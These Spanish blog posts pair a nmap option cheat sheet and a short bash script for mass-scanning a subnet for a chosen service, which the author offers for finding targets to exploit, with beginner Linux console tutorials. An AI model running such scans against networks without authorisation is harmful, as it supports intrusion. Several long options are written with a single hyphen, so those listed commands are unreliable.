·                     Escaneo TCP ACK - nmap -sA [target]

·                     Custom TCP scan - nmap -scanflags [flags] [target]

·                     Exploración protocolo IP - nmap -sO [target]

·                     Enviar paquetes Ethernet - nmap -send-eth [target]

·                     Enviar paquetes IP - nmap -send-ip [target]

OPCIONES DE SCANNEO DE PUERTOS:

·                     Realizar un análisis rápido - nmap -F [target]

·                     Escanear puertos específicos - nmap -p [Puertos] [target]

·                     Escanear puertos por nombre - nmap -p [nombre del puerto] [target]

·                     Escanea los puertos de protocolo - nmap -sU-sT-p U: [puertos], T: [puertos] [target]

·                     Analizar todos los puertos - nmap -p "*" [target]

·                     Escanea los puertos principales - nmap -top-ports [número] [target]

·                     Realice un escaneo de puertos secuencial - nmap -r [target]

OPCIONES DE DESCUBRIMIENTO:

·                     Realizar solamente una exploración de ping - nmap-sP [target]

·                     No hacer ping - nmap -PN [target]

·                     TCP SYN Ping - nmap -PS [target]

·                     Ping TCP ACK - nmap -PA [target]

·                     UDP ping - nmap -PU [target]

·                     Ping SCTP ​​Init - nmap -PY [target]

·                     Eco ICMP ping - nmap -PE [target]

·                     Ping ICMP Timestamp - nmap -PP [target]

·                     Ping ICMP de máscara de dirección - nmap -PM [target]

·                     Ping protocolo IP - nmap -PO [target]

·                     ARP ping - nmap -PR [target]

·                     Traceroute - nmap -traceroute [target]

·                     Fuerza resolución DNS inversa - nmap -R [target]

·                     Deshabilitar resolución DNS inversa - nmap -n [target]

·                     Alternative DNS lookup - nmap -system-dns [target]

·                     Especifique manualmente los servidores DNS - nmap -dns-servers [servers] [target]

·                     Crear una lista de host - nmap -SL [target]

DETECCIÓN DE VERSIÓN:

·                     Detección del sistema operativo - nmap -O [target]

·                     Enviar Fingerprints TCP/IP - www.nmap.org/submit/

·                     Tratar de adivinar un desconocido - nmap –osscan-guess [target]

·                     Servicio de detección de versión - nmap -sV [target]

·                     Solución de problemas de las exploraciones versión - nmap -sV-version-trace [target]

·                     Realizar un análisis RPC - nmap -sR [target]

Para el usuario mas acostumbrado a las unidades gráficas, o que sienta que todo esto le supera, quizá pueda facilitar el habituarse a estas opciones el uso de Zenmap, descargable desde la misma web de nmap.

Antes de concluir, voy a donar un pequeño script en bash que hace un año ideamos un par de colegas y yo y que es bastante útil a la hora de hacer escáneres masivos buscando un servicio concreto para vulnerarlo o lo que sea:

     #/bin/bash
   
    menumsg() {
   
         echo -n "Inroduce Subnet (Ex: 192.168.1.0/24)"
         read target
     echo "Introduce el proceso a olisquear"
     read proceso
     echo "Introduce el puerto sobre el que deseas buscar el proceso"
     read puerto
         echo "Deseas olisquear:$target en busca de $proceso ? [y/n]"
         read proceed
   
    }
   
    menumsg
   
    if [ $proceed = yes ] || [ $proceed = y ] ; then
   
       
         exec nmap -p $puerto  $target -oG - | grep open > primerpaso
         awk '{ printf $2; }' primerpaso > primeralista
         echo "Primer Paso ejecutado, continuamos[y/n]?"
         read continuamos
         
            if [ $continuamos = yes ] || [ $continuamos = y ] ; then
   
              nmap -v -p $puerto -sV -iL primeralista -oG - | grep $proceso > segundopaso
              awk '{ printf $2; }' segundopaso > segundalista
              cp segundalista Resultado.txt
         
            elif [ $continuamos = no ] || [ $continuamos = n ] ; then
                    cp primeralista Resultado.txt
                 
            fi    
    elif [ $proceed = no ] || [ $proceed = n ] ; then
       
         menumsg
    fi    
   
    echo "Revisa Resultado.txt para revision"
   
    exit


Es bastante simple de entender, no obstante, lo que hace es pedir un objetivo (Ips) un servicio y puerto. Pasa el nmap sobre ese puerto y genera, primero una lista con los resultados de puerto abierto y una segunda filtrando las ip con el proceso.

Por hoy es todo. Hasta la próxima!

Tomando contacto con la consola en linux II

En la entrada anterior aprendimos a movernos por las carpetas desde la terminal y a visualizar su contenido con cd y ls. En este post quiero mostrar como abrir archivos, dar privilegios de super usuario, instalar programas y actualizar el equipo usando la terminal.
Para ello abrimos el menú de inicio (puede hacerse pulsando la tecla de windows que hay entre el CTRL y el ALT izquierdos) y buscamos y ejecutamos la terminal.
Cuando tratamos con la consola, la mayoría de las veces, no contamos con el ratón ni un entorno intuitivo que nos de pistas sobre como llamar a un programa en un menú. Cuando nos desenvolvemos en la consola solo contamos con el teclado y hemos de aprender a escribir los nombres de los programas necesarios para leer documentos, ver fotografías... en resumen, para comunicarnos con la máquina. Como ejemplo, vamos a crear un archivo con un texto de muestra, usando un programa de edición de escritura simple para la terminal, llamado "nano". Lo primero vamos a ejecutar el programa, para ello basta con escribir su nombre tras el prompt:

nano

 Lo que aparece a continuación es el entorno de trabajo del programa. Obviamente, quizá al usuario recién llegado de Microsoft Office no le parezca nada atractivo y esto es porque no es ese su objetivo. Es un editor rápido y simple que con el uso de sistemas bajo terminales de comandos se hará muy útil por simpleza ligereza y rapidez.
Escribamos un texto de prueba y siguiendo la pequeña ayuda de la parte inferior del programa, presionamos CTRL+O (el apóstrofe ^ significa CTRL) y en esa misma parte se abrirá un pequeño diálogo para introducir el nombre del archivo sobre el que guardaremos los cambios. Por ejemplo "prueba.txt".

Presionamos la tecla intro para aceptar y CTRL+X para salir del editor y volver al prompt de la consola.
Si ahora quisiéramos ver lo que contiene el archivo, no bastaría simplemente con poner su nombre. Como he comentado antes necesitamos indicar al sistema que hacer con el ya que por si mismo, no tiene permisos de ejecución (no es un programa en si) y aunque los tuviese, el sistema no sabría que hacer con él al no contener código de máquina. Para abrirlo tendremos que llamar primero a un editor de texto o visor de documentos, en este caso, seguiremos con otro programa aunque bien podríamos volver a utilizar nano, hay otra herramienta aún más rápida y simple para ver texto sin formato: "cat". Escribimos tras el prompt:

cat prueba.txt

Esto se repite con casi todos los archivos no ejecutables, es decir, que dependen de otro programa para ser abiertos.

Hay ocasiones en las que un usuario común no podrá ejecutar determinado programa u orden por los privilegios concedidos de este. Esto son protocolos de seguridad establecidos en linux para evitar o minimizar el daño que pueda provocar cualquier tipo de malware (virus, gusanos, troyanos...). Uno de estas órdenes, de uso muy usual en Ubuntu, es apt-get que sirve para refrescar la caché de programas y actualizaciones disponibles tanto como para instalar o desinstalar software de Ubuntu. Cuando actualizamos, instalamos o configuramos software desde el escritorio, normalmente usamos el centro de software de Ubuntu o Moun que nos pedirá una contraseña de administración antes de cualquier cambio. En la consola hemos de hacerlo escribiendo el comodín "sudo" antes de llamar al programa que actualizará nuestra caché para comprobar si existen actualizaciones de seguridad importantes; apt-get update

sudo apt-get update

Se nos pedirá la contraseña y tras aceptar pulsando intro se nos mostrarán las conexiones y el tráfico de datos que ejecuta el programa, preguntando a los servidores preconfigurados, cuales son los nombres y dependencias de los nuevos paquetes si los hay y con apt-get upgrade, descargaremos e instalaremos las actualizaciones necesarias.
sudo apt-get upgrade
Cuando vamos a necesitar el estatus de super usuario en una sesión más larga que un par de comandos, por no llamar a sudo en cada línea, se emplea sudo su que tras la contraseña nos dará privilegios hasta cerrar la consola o bien hasta que tecleemos exit.
 En principio puede y de hecho parece costoso aprender toda una serie de comandos para funcionar eficientemente con la consola. Es cierto, requiere tiempo y ganas, no obstante, los resultados que se obtienen siendo constante en su manejo bien merecen la pena ya que llega un momento que tan siquiera se hecha en falta un entorno gráfico y el control del ordenador llega a ser casi total.
Paciencia. Paciencia y leer probar y tocar lo que se os ocurra. Normalmente la mayoría de los comandos traen documentación que nos será de tremenda utilidad para entenderlos y llegar a controlarlos, haciendo una llamada al directorio de manuales con "man" seguido de un comando, se nos mostrará la documentación de este y si nos parece demasiado, quiza un "--help" tras él pueda resolvernos dudas. Aquí dejo una lista de comandos de uso mas cotidiano.
  
Comandos básicos en linux .pdf

Es todo por hoy. ¡A darle caña!

Tomando contacto con la consola en linux I

En principio la idea era escribir una entrada que familiarizara a los usuarios primerizos de Ubuntu con el entorno gráfico Gnome (su escritorio y aplicaciones gráficas) pero más allá de unas breves referencias a su menú de inicio y el centro de software, no veo productivo el hacerlo ya que todo es demasiado intuitivo y basta con leer las breves descripciones que se nos muestran con la mera experimentación. De momento, prefiero iniciar al lector en el funcionamiento del sistema utilizando la herramienta más poderosa de este, la consola de comandos. Todas las tareas que hacemos habitualmente en nuestro ordenador (a nivel usuario al menos) son realizadas por programas con entorno gráfico que dan ordenes, en forma de comandos a la terminal de Ubuntu, esto quiere decir que todas las tareas se pueden ejecutar desde la linea de comandos e incluso a un nivel de control mayor del que suele darse con programas de interfaz gráfica.
Con esta entrada pretendo dar a conocer los comandos de uso mas cotidiano mientras trabajamos con la linea de comandos de linux-debian asi como el funcionamiento de las carpetas y archivos en dicho entorno.
Para empezar abriremos la consola en Ubuntu haciendo click en el menu de inicio (primer botón en la barra de tareas de la derecha en el escritorio de Gnome Unity, preinstalado en la versión 12.04) y buscando el programa llamado "terminal". Lo que nos encontramos al ejecutarlo es una pantalla negra con un conjunto de caracteres blancos llamado "prompt" seguido de un cuadro, blanco también, parpadeante esperando que demos instrucciones por medio del teclado.

El prompt es lo que nos indica que la consola está esperando instrucciones además de darnos información sobre dónde estamos, en vez de ser los que en antiguos sistemas msDOS o en la linea de comandos de Windows es C:\ que nos indicaba la carpeta raíz del disco llamado C: aquí cambia mostrándonos en primer lugar, el nombre del usuario que está usando la comandera, seguido de un arroba y el nombre de la máquina sobre la que se ejecuta. Lo que sigue a los dos puntos va a marcarnos el directorio o la carpeta sobre la cual estamos operando, además de otro carácter que nos muestra los derechos o privilegios que disponemos. En este caso el atajo representado con "~" nos señala que la carpeta actual es el "home" o carpeta personal del usuario con el que funcionamos, es decir, "chaosnet". Si cambiamos de directorio este se será sustituido por un, por ejemplo, "/etc/dpkg/" o la ruta de cual sea nuestro punto de acción. El siguiente símbolo es "$". Este solo puede variar a "#" y nos indican el poder que tenemos a la hora de ejecutar acciones que requieren permisos especiales, o, lo que es lo mismo, si somos "root" o super usuario. Si lo somos, el final del prompt, mostrará # y si no, $.

Bien, ahora vamos a aprender a desplazarnos por los directorios, a crear, eliminar, ejecutar y cambiar permisos de los archivos. Estos comandos son básicos y conviene habituarse a ellos si queremos manejarnos desde la terminal. Cada comando en linux suele tener un montón de atributos que especifican y concretan su acción y normalmente pueden verse y estudiarse añadiendo un simple "--help" despues del comando que queremos estudiar. El primero que tocaremos será ls. ls tiene como función detallar los archivos y directorios que se encuentran en la carpeta sobre la que actuamos.

Si tecleamos ls --help se nos mostrarán todas las funciones del comando pero de momento nos bastará con un ls para que veamos como nos detalla el contenido de la carpeta.

En la terminal por defecto de ubuntu, cuando leemos un directorio con ls se nos muestran las carpetas en color azúl, los archivos sin permisos de ejecución (los que tendremos que abrir con otro programa, ya entraremos en detalles más adelante) como documentos de texto etc... ,en blanco, verde para archivos ejecutables (programas), el rojo es para ficheros comprimidos y el magenta para los archivos de imagen. Hay otros pero son menos usuales y, de todas formas están definidos en la variable LS_COLORS y pueden cambiarse en /etc/DIR_COLORS (creo recordar) pero eso no viene al caso, el estándar predefinido suele ser este.
Para navegar entre directorios, ir de uno a otro, se usa el comando cd seguido de el nombre del directorio al que queremos acceder. Es posible subir varios niveles de una vez si separamos los nombres de los directorios con sus correspondientes barras, por ejemplo "cd directorio1/directorio2" siempre que la ruta sea correcta (es decir, que exista el directorio2 dentro del directorio1) y también dirigirnos a una ruta fuera de el directorio en que nos encontramos, por ejemplo desde /home/chaosnet/ ir a /dev, simplemente marcando la ruta deseada después de el comando cd. Para retroceder un nivel, ir al directorio predecesor se usa la clave .. tras cd: "cd .."

Por hoy es todo. Para mañana continuamos con la apertura de archivos, la creación y eliminación y una lista de comandos de utilidad.

¡Hasta otra!